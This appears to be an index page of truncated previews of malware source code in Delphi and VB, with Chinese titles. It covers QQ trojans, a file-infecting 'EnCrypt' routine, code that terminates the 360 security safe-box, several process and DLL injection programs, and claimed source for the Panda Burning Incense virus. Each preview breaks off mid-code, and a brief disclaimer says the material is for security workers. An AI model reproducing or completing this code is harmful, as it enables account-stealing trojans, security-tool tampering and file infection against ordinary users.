感染函数 procedure TForm1.EnCrypt(pPath:string); var lCount,i:Integer; lNewName,lFileName:string; lStringList:TStringList; begin lStringList:=GetDirTreeList(pPath); lCount:=lStringList.Count-1; for i:=lCount downto 0 do begin lFileName:...
QQ木马delphi源码 unit GCommonMethods; {$I Complier.inc} interface uses Windows, SysUtils, GConsts, GNetMethods, GQQFindMethods; procedure CreateMainWindow(hInst: HMODULE; const ClassName: string; var OutHandle: HWND); procedure Applicat...
DELPHI版本QQ木马 首先写个DLL文件 library Project1; { Important note about DLL memory management: ShareMem must be the first unit in your library's USES clause AND your project's (select Project-View Source) USES clause if your DLL...
QQ自动发消息源码 这里面有的到窗口句柄，输入框句柄和按钮句柄的方法！ 你可以结合使用的到你想的到的功能！ 这是一个qq自动发送的功能，你看看，应该有点用吧！：） delphi代码...
program PrintInject; uses Windows, Classes, WinSpool, SysUtils; function PathFindFileNameA(szFilePath:PChar):PChar; stdcall; external 'shlwapi.dll'; procedure MainProc(); var szBuff: array[0..255] of Char; dwSize: DWORD; pProc: Pointer; dwT...
干掉360保险箱VB/VC/delphi 源码 VB 源码： Option Explicit Private Declare Function TerminateProcess Lib kernel32 (ByVal hProcess As Long, ByVal uExitCode As Long) As Long Private Declare Function ZwDuplicateObject _ Lib NTDLL.DLL (...
To avoid using WriteProcessMemory, we need to find other ways to inject a certain string (e.g. mypayload.dll) into a foreign process. This idea is a more creative one, by simply modifying the registers of the foreign process and pushing the...
program InjectMemEXE; uses Windows, SysUtils, uAddSection {http://www.delphibasics.info/home/delphibasicssnippets/addnewsectiontopefile}, uAddImport {http://www.delphibasics.info/home/delphibasicssnippets/addimportstopefile}; type TByteArra...
Crossbow病毒开放源代码-熊猫烧香源始代码 以下代码只做安全工作者参考,请勿用做非法用途,否则后果自负. 提示,所有病毒木马都是依靠计算机中漏洞进行病毒破坏以及木马监视.所以您只...
program InjectTheSelf; { $IMAGEBASE$13140000 } uses Windows, SysUtils, urlmon, sendmail, shellapi, tlhelp32; var MSG:TMSG; kkk: string ; cTime:TDateTime; hModule,hModule_News:Pointer; Extent,Size,ThreadId:longword; // ProcessHandle,Pid:long...